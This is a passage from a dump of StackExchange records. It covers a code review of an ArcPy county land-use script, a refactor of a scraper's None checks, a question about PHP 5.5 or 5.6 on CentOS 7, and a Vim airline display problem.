+ CoName + _TCoI_1m)            arcpy.Copy_management(Inputs + CoName + _WAT_1m, Final_1m + CoName + _WAT_1m)            arcpy.Copy_management(Inputs + CoName + _LC, Final_1m + CoName + _LandCover)        arcpy.env.overwriteOutput = True        coord_data = Inputs + CoName + _Snap        arcpy.env.outputCoordinateSystem = arcpy.Describe(coord_data).spatialReference        arcpy.env.workspace = Temp_1m        arcpy.env.scratchWorkspace = Temp_1m        arcpy.env.extent = os.path.join(str(Final_1m) + str(CoName) + _IR_1m)        arcpy.env.parallelProcessingFactor = 100%        arcpy.env.snapRaster = str(Final_1m) + str(CoName) + _IR_1m #location of the default snap raster        # Local variables:        BAR = os.path.join(str(Inputs) + str(CoName) + _Barren)        BEACH = os.path.join(str(Inputs) + str(Inputs),str(CoName) + _MOBeach)        cc_wetlands = os.path.join(str(Inputs), str(CoName) +_WL)        crpCDL = os.path.join(str(Inputs) + str(CoName) + _crpCDL)        DEMstrm = os.path.join(str(Inputs) + str(CoName) + _Stream)        DEV_UAC = os.path.join(str(Inputs) + str(CoName) + _DEV_UAC)        DEV113 = os.path.join(str(Inputs) + str(CoName) + _DEV113)        DEV37 = os.path.join(str(Inputs) + str(CoName) + _DEV37)        DEV27 = os.path.join(str(Inputs) + str(CoName) + _DEV27)        DEV18 = os.path.join(str(Inputs) + str(CoName) + _DEV18)        fc_Tidal = os.path.join(str(Inputs), str(CoName) +_mask_tidal)        fc_FPlain = os.path.join(str(Inputs), str(CoName) +_mask_fplain)        fc_OTHWL = os.path.join(str(Inputs), str(CoName) +_mask_oth_wl)        FEDS_sm = os.path.join(str(Inputs) + str(CoName) + _FedPark_small)        FEDS_med = os.path.join(str(Inputs) + str(CoName) + _FedPark_medium)        FEDS_lrg = os.path.join(str(Inputs) + str(CoName) + _FedPark_large)        FINR_LU = os.path.join(str(Inputs) + str(CoName) + _FracINR)        FTG_LU = os.path.join(str(Inputs) + str(CoName) + _FracTG)        INST = os.path.join(str(Inputs) + str(CoName) + _TurfNT)        T_LANDUSE = os.path.join(str(Inputs) + str(CoName) + _TgLU)        M_LANDUSE = os.path.join(str(Inputs) + str(CoName) + _MoLU)        LV = os.path.join(str(Inputs) + str(CoName) + _LV)        MINE = os.path.join(str(Inputs) + str(CoName) + _ExtLFill)        nwi_Tidal = os.path.join(str(Inputs), str(CoName) +_Tidal)        nwi_FPlain = os.path.join(str(Inputs), str(CoName) +_NTFPW)        nwi_OTHWL = os.path.join(str(Inputs), str(CoName) +_OtherWL)        PARCELS = os.path.join(str(Inputs) + str(CoName) + _Parcels)        pa_wetlands = os.path.join(str(Inputs), str(CoName) +_PA_wet)        pasCDL = os.path.join(str(Inputs) + str(CoName) + _pasCDL)        ROW = os.path.join(str(Inputs) + str(CoName) + _RoW)        SS = os.path.join(str(Inputs),str(CoName) + _SS)        TC = os.path.join(str(Inputs) + str(CoName) + _TC)        Snap = os.path.join(str(Inputs) + str(CoName) + _Snap)        # 1 meter LU Rasters - Listed in Hierarchical Order:        IR = os.path.join(str(Final_1m) + str(CoName) + _IR_1m)        INR = os.path.join(str(Final_1m) + str(CoName) + _INR_1m)        TCI = os.path.join(str(Final_1m) + str(CoName) + _TCoI_1m)        WAT = os.path.join(str(Final_1m) + str(CoName) + _WAT_1m)        WLT = os.path.join(str(Final_1m) + str(CoName) + _WLT_1m)        WLF = os.path.join(str(Final_1m) + str(CoName) + _WLF_1m)        WLO = os.path.join(str(Final_1m) + str(CoName) + _WLO_1m)        FOR = os.path.join(str(Final_1m) + str(CoName) + _FOR_1m)        TCT = os.path.join(str(Final_1m) + str(CoName) + _TCT_1m)        MO = os.path.join(str(Final_1m) + str(CoName) + _MO_1m)        FTG1 = os.path.join(str(Final_1m) + str(CoName) + _FTG1_1m)        FTG2 = os.path.join(str(Final_1m) + str(CoName) + _FTG2_1m)        FTG3 = os.path.join(str(Final_1m) + str(CoName) + _FTG3_1m)        FINR = os.path.join(str(Final_1m) + str(CoName) + _FINR_1m)        TG = os.path.join(str(Final_1m) + str(CoName) + _TG_1m)        # Temporary Datasets        CDEdge = os.path.join(str(Temp_1m) + str(CoName) + _EDGE)        EDGE = os.path.join(str(Temp_1m) + str(CoName) + _EDGE)        FINRtemp = os.path.join(str(Temp_1m) + str(CoName) + _FINRtemp)        FTGMask = os.path.join(str(Temp_1m) + str(CoName) + _FTGmask)        FTGparcels = os.path.join(str(Temp_1m),str(CoName) + _FTG_parcels)        FTGtemp = os.path.join(str(Temp_1m) + str(CoName) + _FTGtemp)        FTGtemp2 = os.path.join(str(Temp_1m) + str(CoName) + _FTGtemp2)        FTGtemp3 = os.path.join(str(Temp_1m) + str(CoName) + _FTGtemp3)        HERB = os.path.join(str(Temp_1m) + str(CoName) + _Herb)        INRmask = os.path.join(str(Temp_1m),str(CoName) + _INRmask)        MOherb = os.path.join(str(Temp_1m) + str(CoName) + _MOherb)        POT_FOR = os.path.join(str(Temp_1m),str(CoName) + _potFOR)        RLTCP = os.path.join(str(Temp_1m) + str(CoName) + _RLTCP)        RTmask = os.path.join(str(Temp_1m) + str(CoName) + _RTmask)        RURmask = os.path.join(str(Temp_1m) + str(CoName) + _RURmask)        TGMask = os.path.join(str(Temp_1m) + str(CoName) + _TGmask)        TURFparcels = os.path.join(str(Temp_1m),str(CoName) + _TURF_parcels)        TURFtemp = os.path.join(str(Temp_1m) + str(CoName) + _TURFtemp)        TREES = os.path.join(str(Temp_1m) + str(CoName) + _MOTrees)        URBmask = os.path.join(str(Temp_1m) + str(CoName) + _URBmask)        WAT_FOR = os.path.join(str(Temp_1m),str(CoName) + _watFOR)        print (IR, arcpy.Exists(IR))        print (INR, arcpy.Exists(INR))        print (TCI, arcpy.Exists(TCI))        print(WAT, arcpy.Exists(WAT))        print(BAR, arcpy.Exists(BAR))        print(LV, arcpy.Exists(LV))        print(SS, arcpy.Exists(SS))        print(TC, arcpy.Exists(TC))        print(BAR, arcpy.Exists(BAR))        print(DEV_UAC, arcpy.Exists(DEV_UAC))        print(DEV113, arcpy.Exists(DEV113))        print(DEV37, arcpy.Exists(DEV37))        print(DEV27, arcpy.Exists(DEV27))        print(DEV18, arcpy.Exists(DEV18))        print(FEDS_sm, arcpy.Exists(FEDS_sm))        print(FEDS_med, arcpy.Exists(FEDS_med))        print(FEDS_lrg, arcpy.Exists(FEDS_lrg))        print(BEACH, arcpy.Exists(BEACH))        print(MINE, arcpy.Exists(MINE))        print(T_LANDUSE, arcpy.Exists(T_LANDUSE))        print(M_LANDUSE, arcpy.Exists(M_LANDUSE))        print(FINR_LU, arcpy.Exists(FINR_LU))        print(FTG_LU, arcpy.Exists(FTG_LU))        print(INST, arcpy.Exists(INST))        print(PARCELS, arcpy.Exists(PARCELS))        print(ROW, arcpy.Exists(ROW))        ########################## START ALL MODELS ####################################        #ALL_start_time = time.time()        #------------------------- TURF & FRACTIONAL MODELS -----------------------------        start_time = time.time()        arcpy.Delete_management(str(Temp_1m) + Parcel_IMP)        arcpy.Delete_management(str(Temp_1m) + Parcel_IMP2)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _INRmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _RTmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _Parcels_TURFtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _Parcels_TURF)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _TURF_parcels)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _Parcels_FTGtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _Parcels_FTG)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTG_parcels)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _TGmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTGmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _TURFtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTGtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTGtemp2)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTGtemp3)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FINRtemp)        arcpy.Delete_management(str(Final_1m) + str(CoName) + _TG_1m)        arcpy.Delete_management(str(Final_1m) + str(CoName) + _TCI_1m)        arcpy.Delete_management(str(Final_1m) + str(CoName) + _FTG1_1m)        arcpy.Delete_management(str(Final_1m) + str(CoName) + _FTG2_1m)        arcpy.Delete_management(str(Final_1m) + str(CoName) + _FTG3_1m)        arcpy.Delete_management(str(Final_1m) + str(CoName) + _FINR_1m)        print(--- Removal of TURF & FRAC Duplicate Files Complete %s seconds --- % (time.time() - start_time))        # Call each function, passing the necessary variables...        turf_1(CoName, Temp_1m, INR, IR, INRmask, TCI)        turf_2(CoName, Temp_1m, HERB, BAR, LV)        turf_3(CoName, Temp_1m, DEV18, DEV27)        # # TURF 4: Create Parcel-based Turf and Fractional Turf Masks        if arcpy.Exists(PARCELS):            turf_4a(CoName, Temp_1m, PARCELS, IR)            turf_4b(CoName, Temp_1m, PARCELS)            turf_4c(CoName, Temp_1m, PARCELS)            turf_4d(CoName, Temp_1m, DEV_UAC, RTmask, ROW, INST, T_LANDUSE, TURFparcels)            turf_4e(CoName, Temp_1m, FTG_LU, FEDS_sm, FTGparcels)        else:            turf_5a(CoName, Temp_1m, DEV_UAC, RTmask, ROW, INST, T_LANDUSE)            turf_5b(CoName, Temp_1m, FTG_LU, FEDS_sm)        turf_6(CoName, Temp_1m, Final_1m, HERB, TGMask, TURFtemp)        frac_1(CoName, Final_1m, HERB, FTGMask, FTGtemp)        frac_2(CoName, Final_1m, HERB, FEDS_med, FTGtemp2)        frac_3(CoName, Final_1m, HERB, FEDS_lrg, FTGtemp3)        frac_4(CoName, Final_1m, FINR_LU, HERB, FINRtemp)        # TURF & FRACTIONAL Clean up        start_time = time.time()        arcpy.Delete_management(str(Temp_1m) + Parcel_IMP)        arcpy.Delete_management(str(Temp_1m) + Parcel_IMP2)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _RTmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _Parcels_TURFtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _Parcels_TURF)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _TURF_parcels)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _Parcels_FTGtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _Parcels_FTG)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTG_parcels)        #arcpy.Delete_management(str(Temp_1m) + str(CoName) + _TGmask)        #arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTGmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _TURFtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTGtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTGtemp2)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FTGtemp3)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _FINRtemp)        print(--- TURF & FRAC Clean Up Complete %s seconds --- % (time.time() - start_time))        #--------------------------------FOREST MODEL----------------------------------------        start_time = time.time()        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _RLTCP)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _EDGE)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _CDEdge)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _URBmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _RURmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _CDEdge)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _URB_TCT)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _RUR_TCT)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _TCT1)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _nonTCT)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _potFOR)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _NATnhbrs)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _ForRG)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _MOtemp)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _MOspace)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _MOherb)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _MOTrees)        arcpy.Delete_management(str(Final_1m) + str(CoName) + _FOR_1m)        arcpy.Delete_management(str(Final_1m) + str(CoName) + _MO_1m)        for_1(CoName, DEV113, TC)        for_2(CoName, TC, DEV27)        for_3(CoName, Temp_1m, RLTCP, EDGE)        for_4(CoName, DEV37, CDEdge)        for_5(CoName, DEV18, TC)        for_6(CoName, Temp_1m, Final_1m)        for_7(CoName, TCT, TC)        for_8(CoName, Temp_1m, Final_1m, TC, WAT, WLF, WLO, WLT, WAT_FOR, POT_FOR)        #---------------------------MIXED OPEN MODEL-----------------------------------------------------        # MO 1: Create Mixed Open with just MOtrees and Scrub-shrub (no ancillary data)        inrasListMO = [ ]        if arcpy.Exists(BEACH):            inrasListMO.append(BEACH)        if arcpy.Exists(M_LANDUSE):            inrasListMO.append(M_LANDUSE)        if arcpy.Exists(MINE):            inrasListMO.append(MINE)        if not inrasListMO:            mo_1(CoName, Temp_1m, Final_1m, TREES, SS)        else:            mo_2a(CoName, Temp_1m, inrasListMO)            mo_2b(CoName, Temp_1m, BAR, HERB, LV)            mo_2c(CoName, Temp_1m, HERB, MOherb)            mo_2d(CoName, Temp_1m, Final_1m, MOherb, TREES, SS)        # FOREST & MIXED OPEN Clean up        start_time = time.time()        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _RLTCP)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _EDGE)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _CDEdge)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _URBmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _RURmask)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _CDEdge)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _URB_TCT)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _RUR_TCT)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _TCT1)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _nonTCT)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _potFOR)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _NATnhbrs)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _ForRG)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _MOtemp)        #arcpy.Delete_management(str(Temp_1m) + str(CoName) + _MOspace)        arcpy.Delete_management(str(Temp_1m) + str(CoName) + _MOherb)        print(--- FOREST & MIXED OPEN Clean Up Complete %s seconds --- % (time.time() - start_time))        #----------------------FINAL AGGREGATION MODEL-----------------------------------------        print (IR, arcpy.Exists(IR))        print (INR, arcpy.Exists(INR))        print (TCI, arcpy.Exists(TCI))        print (WAT, arcpy.Exists(WAT))        print (WLT, arcpy.Exists(WLT))        print (WLF, arcpy.Exists(WLF))        print (WLO, arcpy.Exists(WLO))        print (FOR, arcpy.Exists(FOR))        print (TCT, arcpy.Exists(TCT))        print (MO, arcpy.Exists(MO))        print (FTG1, arcpy.Exists(FTG1))        print (FTG2, arcpy.Exists(FTG2))        print (FTG3, arcpy.Exists(FTG3))        print (FINR, arcpy.Exists(FINR))        print (TG, arcpy.Exists(TG))        final_1(CoName, Temp_1m, IR, INR, TCI, WAT, WLT, WLF, WLO, FOR, TCT, MO, FTG1, FTG2, FTG3, FINR, TG)        final_2(CoName, Temp_1m, Temp_10m, Final_1m, Snap, CntyDIR)        final_3(CoName, Temp_10m, DEMstrm, crpCDL, pasCDL, Snap)        final_4(CoName, Temp_10m, FTG1, FTG2, FTG3, FINR, WLT, WLF, WLO, Snap)        final_5(CoName, Temp_10m, Final_10m, TiffDIR, WLT, WLF, Snap)        print(--- All Models Complete %s seconds --- % (time.time() - ALL_start_time))## ###############################################################################  <<< END MAIN >>>## ############################################################################## Need this to execute main()if __name__ == __main__:    main()"  , "title": "ArcPy script to analyze land use in counties"  , "tags": "python;beginner;python 2.7;file system;geospatial"  , "accepted_answer": "MainUse an helper function to separate unit of work. Namely, I would use a function performing the required operations on a county and call it from main.def main(main_directory=C:/A__P6_GIS4/):    if arcpy.CheckExtension(Spatial) != Available:        arcpy.AddError(Unable to get spatial analyst extension)        arcpy.AddMessage(arcpy.GetMessages(0))        sys.exit(1)    arcpy.AddMessage(Checking out Spatial)    arcpy.CheckOutExtension(Spatial)    for county in os.listdir(main_directory):        manage_county(main_directory, county)And that's all you need in your main. Separating this manage_county function into turf, forest, mixed and final subfunctions could be a good thing to do too.A few things to note:sys.exit(0) means there was no error, so better use an exit status of 1 to indicate an error;os.listdir can be used directly to iterate over county directory, there in no need in using a file as buffer;using a parameter with default value can help with reusability/maintenance as the function can easily be tested and such value is not burried within the code;timing and debug printing can be delegated to helper functions/decorators, more on that later.Manage_countyThe main issue with the rest of the code, is the amount of redundant line of code one can read. Once again helper function can help reduce the amount of repetition. Loops are also a great way to perform the same operation on copious amount of filenames.You should also take some time to remove useless variables, such as BEACH which is defined, printed, tested for existence, but nothing usefull is done with it.You should also read PEP 8 and the official naming conventions to make the code look like Python code; and avoid needless abreviations in your variable names.Strings management is also a mess: there is a lot of useless call to str as the variables it is applied to are already strings; os.path.join is mainly applied to a single string, thus it is just noise; and str.format should be prefered to string concatenation.FEATURE_NAME_PATTERN = '{}/{}_{}'FEATURE_1M_PATTERN = '{}/{}_{}_1m'def create_directory(root, directory_name):    directory = os.path.join(root, directory_name)    if not arcpy.Exists(directory):        arcpy.CreateFolder_management(root, directory_name)    return directorydef create_geodatabase(root, filename):    file_name = os.path.join(root, filename)    created = False    if not arcpy.Exists(file_name):        arcpy.CreateFileGDB_management(root, filename)        created = True    return file_namedef manage_county(root, county_name):    county_directory = os.path.join(root, county_name)    output_directory = create_directory(county_directory, 'Outputs')    tiff_directory = create_directory(output_directory, county_name + '_FINAL')    imputs = os.path.join(county_directory, county_name + '_Inputs.gdb') # Former CoGDB    temp_1m, _ = create_geodatabase(output_directory, 'Temp_1m.gdb') # Former TempGDB    temp_10m, _ = create_geodatabase(output_directory, 'Temp_10m.gdb') # Former Temp10GDB    final_10m, _ = create_geodatabase(output_directory, 'Final_10m.gdb') # Former Final_10m    final_1m, created = create_geodatabase(output_directory, 'Final_1m.gdb') # Former LuGDB    if created:        for feature in ['IR', 'INR', 'TCoI', 'WAT']:            feature_in = FEATURE_1M_PATTERN.format(inputs, county_name, feature)            feature_out = FEATURE_1M_PATTERN.format(final_1m, county_name, feature)            arcpy.Copy_management(feature_in, feature_out)        arcpy.Copy_management(            FEATURE_NAME_PATTERN.format(inputs, county_name, 'LC'),            FEATURE_NAME_PATTERN.format(final_1m, county_name, 'LandCover'))    arcpy.env.overwriteOutput = True    coord_data = FEATURE_NAME_PATTERN.format(inputs, county_name, 'Snap')    ir_1m_path = FEATURE_1M_PATTERN.format(final_1m, county_name, 'IR')    arcpy.env.outputCoordinateSystem = arcpy.Describe(coord_data).spatialReference    arcpy.env.workspace = temp_1m    arcpy.env.scratchWorkspace = temp_1m    arcpy.env.extent = ir_1m_path    arcpy.env.parallelProcessingFactor = 100%    arcpy.env.snapRaster = ir_1m_path  #location of the default snap raster    #------------------------- TURF & FRACTIONAL MODELS -----------------------------    for parcel in ['IMP', 'IMP2']:        arcpy.Delete_management('{}/Parcel_{}'.format(temp_1m, parcel))    for feature in ['INRmask', 'RTmask', 'Parcels_TURFtemp', 'Parcels_TURF', 'TURF_parcels', 'Parcels_FTGtemp', 'Parcels_FTG', 'FTG_parcels', 'TGmask', 'FTGmask', 'TURFtemp', 'FTGtemp', 'FTGtemp2', 'FTGtemp3', 'FINRtemp']:        arcpy.Delete_management(FEATURE_NAME_PATTERN.format(temp_1m, county_name, feature))    for feature in ['TG', 'TCI', 'FTG1', 'FTG2', 'FTG3', 'FINR']:        arcpy.Delete_management(FEATURE_1M_PATTERN.format(final_1m, county_name, feature))    # Call each function, passing the necessary variables...    turf_1(final_1m, county_name, temp_1m)    turf_2(inputs, county_name, temp_1m)    turf_3(inputs, county_name, temp_1m)    # # TURF 4: Create Parcel-based Turf and Fractional Turf Masks    if arcpy.Exists('{}/{}_Parcels'.format(inputs, county_name)):        turf_4a(inputs, county_name, temp_1m, final_1m)        turf_4b(inputs, county_name, temp_1m)        turf_4c(inputs, county_name, temp_1m)        turf_4d(inputs, county_name, temp_1m)        turf_4e(inputs, county_name, temp_1m)    else:        turf_5a(inputs, county_name, temp_1m)        turf_5b(inputs, county_name, temp_1m)    turf_6(inputs, county_name, temp_1m, final_1m)    frac_1(inputs, county_name, final_1m)    frac_2(inputs, county_name, final_1m)    frac_3(inputs, county_name, final_1m)    frac_4(inputs, county_name, final_1m)    # TURF & FRACTIONAL Clean up    for parcel in ['IMP', 'IMP2']:        arcpy.Delete_management('{}/Parcel_{}'.format(temp_1m, parcel))    for feature in ['INRmask', 'RTmask', 'Parcels_TURFtemp', 'Parcels_TURF', 'TURF_parcels', 'Parcels_FTGtemp', 'Parcels_FTG', 'FTG_parcels', 'TGmask', 'FTGmask', 'TURFtemp', 'FTGtemp', 'FTGtemp2', 'FTGtemp3', 'FINRtemp']:        arcpy.Delete_management(FEATURE_NAME_PATTERN.format(temp_1m, county_name, feature))    #--------------------------------FOREST MODEL----------------------------------------    for feature in ['RLTCP', 'EDGE', 'CDEdge', 'URBmask', 'RURmask', 'URB_TCT', 'RUR_TCT', 'TCT1', 'nonTCT', 'potFor', 'NATnhbrs', 'ForRG', 'MOtemp', 'MOspace', 'MOherb', 'MOTrees']:        arcpy.Delete_management(FEATURE_NAME_PATTERN.format(temp_1m, county_name, feature))    for feature in ['FOR', 'MO']:        arcpy.Delete_management(FEATURE_1M_PATTERN.format(final_1m, county_name, feature))    for_1(inputs, county_name)    for_2(inputs, county_name)    for_3(inputs, county_name)    for_4(inputs, county_name)    for_5(inputs, county_name)    for_6(inputs, county_name, temp_1m, final_1m)    for_7(inputs, county_name)    for_8(inputs, county_name, temp_1m, final_1m)    #---------------------------MIXED OPEN MODEL-----------------------------------------------------    # MO 1: Create Mixed Open with just MOtrees and Scrub-shrub (no ancillary data)    inras_list_MO = [        name for name in ['MOBeach', 'MoLU', 'ExtLFill']        if arcpy.Exists(FEATURE_NAME_PATTERN.format(inputs, county_name, name))    ]    if not inrasListMO:        mo_1(inputs, county_name, temp_1m, final_1m)    else:        mo_2a(inputs, county_name, temp_1m, inras_list_MO)        mo_2b(inputs, county_name, temp_1m)        mo_2c(inputs, county_name, temp_1m)        mo_2d(inputs, county_name, temp_1m, final_1m)    # FOREST & MIXED OPEN Clean up    for feature in ['RLTCP', 'EDGE', 'CDEdge', 'URBmask', 'RURmask', 'URB_TCT', 'RUR_TCT', 'TCT1', 'nonTCT', 'potFor', 'NATnhbrs', 'ForRG', 'MOtemp', 'MOspace', 'MOherb', 'MOTrees']:        arcpy.Delete_management(FEATURE_NAME_PATTERN.format(temp_1m, county_name, feature))    #----------------------FINAL AGGREGATION MODEL-----------------------------------------    final_1(inputs, county_name, temp_1m)    final_2(inputs, county_name, temp_1m, temp_10m, final_1m, county_directory)    final_3(inputs, county_name, temp_10m)    final_4(inputs, county_name, temp_10m)    final_5(inputs, county_name, temp_10m, final_10m)Youll see that there is still some repetitions, especially when deleting features from temp_1m before and after computations. But they are handled with less verbosity. However, I don't find any advantage in removing them both before and after. Either you let the file clean for the next computation, or you clean it before your own, but doing both is counter productive as one of them will yield no results. Instead, I recommend only deleting before your computation to start from a clean state and let the next computation perform its own cleanup when necessary.Youll also note that I removed most of the parameters from each intermediate calls. This is because they are variable that are unnecessary for this function. Instead, it is better to define them at the beginning of each of your helper functions. This is also the reason I added inputs and final_1m (but I might have missed some) as first parameter for each of the calls. For instance, the first lines of turf_1 can become:def turf_1(final_1m, county_name, temp_1m):    INRmask = FEATURE_NAME_PATTERN.format(temp_1m, county_name, 'INRmask')    IR = FEATURE_1M_PATTERN.format(final_1m, county_name, 'IR')    INR = FEATURE_1M_PATTERN.format(final_1m, county_name, 'INR')    TCI = FEATURE_1M_PATTERN.format(final_1m, county_name, 'TCoI')    ...Timing and debug printsEven though debug prints inform the user that something is going on, they disturb for development and maintenance purpose. Instead, you could reduce the amount of information printed and rely on an helper function to time the execution:import timefrom functools import wrapsdef timer(func):    @wraps(func)    def wrapper(*args):        start = time.time()  # or time.perf_counter() in Python 3        print 'Starting', func.__name__, args        func(*args)        end = time.time()  # or time.perf_counter()        print 'Computation time:', end - startUsage being:@timerdef manage_county(root, county_name):    # rest of the codeAnd you can decorate other functions as well to get outputs more often."  } 
{  "id": "_codereview.27461"  , "question": "When I wrote this it just felt messy due to the null checks.  Any good ideas on how to clean it up would be most appreciated. def getItemsInStock(self):        itemsInStock = []        items = self.soup.find_all(ul, {'class':re.compile('results.*')})        getItems = [x for x in items if x.find(div, class_=quantity)]        if getItems:            itemsInStock += getItems        pages = self.combThroughPages()        if pages:            for each in pages:                self.uri = each                soup = self.createSoup()                items = soup.find_all(ul, {'class':re.compile('results.*')})                if items:                    inStock = [x for x in items if x.find(div, class_=quantity)]                    if inStock:                        itemsInStock += inStock        if itemsInStock:            return self.__returnItemDetailAsDictionary(itemsInStock)        else:            return None"  , "title": "refactor Python code with lots of None type checks"  , "tags": "python"  , "accepted_answer": "If a function like self.combThroughPages() returns None or a list of items you can wrap such a call in a function listify() that makes None into an empty list:def listify(l):    if l is None:        return []and make the call like:...for each in listify(self.combThroughPages())    self.uri = each...This works even if you don't have control over the definition of combThroughPages(). Sometimes you have functions that return None, or a single item or a list.I use a slightly more elaborate version of listify() myself to handle that:def listify(val, none=None):    return a list if val is only an element.    if val is None, normally it is returned as is, however if none is set     and True then [None] is returned as a list, if none is set but not     True ( listify(val, False) ), then the empty list is returned.    listify(None) == None    listify(None, 1) == [1]    listify(None, [2]) == [[2]]    listify(None, False) == []    listify(3) == [3]    listify([4]) == [4]    listify(5, 6) == [5]        if val is None:        if none is None:            return None        elif none:            return [None]        else:            return []    if isinstance(val, list):        return val    return [val]In your case that version would be called like:...for each in listify(self.combThroughPages(), False)    self.uri = each...Since you are not further using the temporary lists getItems or inStock you can get rid of them and directly append items found to itemsInStock. This would get you (assuming you have the extended version of listify in your scope)def getItemsInStock(self):    itemsInStock = []    for item in self.soup.find_all(ul, {'class':re.compile('results.*')}):        if item.find(div, class_=quantity):            itemsInStock.append(item)    for self.uri in listify(self.combThroughPages(), False):        soup = self.createSoup()        for item in listify(soup.find_all(ul, {'class':re.compile('results.*')}), False):            if item.find(div, class_=quantity):                itemsInStock.append(item)    if itemsInStock:        return self.__returnItemDetailAsDictionary(itemsInStock)    else:        return NoneIt is of course impossible to test without context, but this should work.I also removed the variable each directly setting self.uri. I can only assume that self.createSoup is dependent on the value of self.uri, otherwise I am not sure why you would have differences in calling createSoup.Of course you don't need listify() around self.combThroughPages() if you change the latter to return an empty list as @ruds already proposed that would work as well. In that case I would probably also have getItemsInStock() return an empty dictionary ( return {} ) depending on how that function itself is called: iis = self.getItemsInStock() if iis:     for key, value in iis.iteritems()could then be changed to: for key, value in iis.iteritems():(or you can write a dictify() function)."  } 
{  "id": "_unix.289599"  , "question": "Is php5.5 or php5.6 Available for CentOS 7?"  , "title": "PHP5.5 or PHP5.6 Availability for CentOS 7"  , "tags": "centos;software installation;php5"  } 
{  "id": "_vi.7447"  , "question": "I noticed 3 problems with my Vim terminal setup on Ubuntu which can be illustrated by the following picture of my current Vim. I get the same look with a lot of airline-themes (e.g. molokai, jellybeans, dark, etc.)The first problem is that I'd like to have colors with my status bar which are clearly not appearing.Also I don't know if the symbols of the status bar are correct, because the arrows do not look like the ones shown below.Finally the upper bar indicating the buffers or the tabs clearly do not look like mine.Also, here are some potentially useful informationsI installed the powerline patched Mac OS font Monaco. This helped me to replace some weird symbols and get the ones shown above.The only airline theme that was different was base16.I tried changing the Vim colorscheme to different ones, but it didn't solve anything.Finally here is a copy of my .vimrcset encoding=utf8set rtp+=~/.vim/bundle/Vundle.vimlet g:ycm_global_ycm_extra_conf = '~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp/ycm/.ycm_extra_conf.py'call vundle#begin()Plugin 'gmarik/Vundle.vim'Plugin 'https://github.com/Valloric/YouCompleteMe.git'Plugin 'https://github.com/scrooloose/nerdtree.git'Plugin 'https://github.com/tpope/vim-surround.git'Plugin 'https://github.com/terryma/vim-multiple-cursors.git'Plugin 'dkprice/vim-easygrep'Plugin 'vim-airline/vim-airline'Plugin 'vim-airline/vim-airline-themes'Plugin 'MarcWeber/vim-addon-mw-utils'Plugin 'tomtom/tlib_vim'Plugin 'garbas/vim-snipmate' Optional:Plugin 'honza/vim-snippets'call vundle#end()filetype plugin indent onfiletype plugin onfiletype indent onsyntax on air-linelet g:airline_powerline_fonts = 1highlight Pmenu ctermfg=15 ctermbg=4 guifg=#ffffff guibg=#0000fflet g:ycm_show_diagnostics_ui = 1let g:ycm_enable_diagnostic_highlighting = 0set numberset autochdirset rulerset ts=4set expandtabset shiftwidth=4set cursorlineset showmatchset ignorecaseset showcmdset list listchars=tab:\\ \\ ,trail: set timeoutlen = 200set nofoldenableset wildmode=fullset laststatus=2set completeopt-=previewmap <Tab> <C-W>Wnnoremap <F5> :NERDTreeToggle<CR>:nmap <F3> :vimgrep //j ** <bar> copenIf more information is needed to solve these problems, I'll gladly provide it.UPDATE: I solved the first two problems by putting 'set t_Co=256' in my .vimrc, but the upper bar is still the same is it normal?"  , "title": "Problem with color, symbols and upper bar using airline with Vim in terminal"  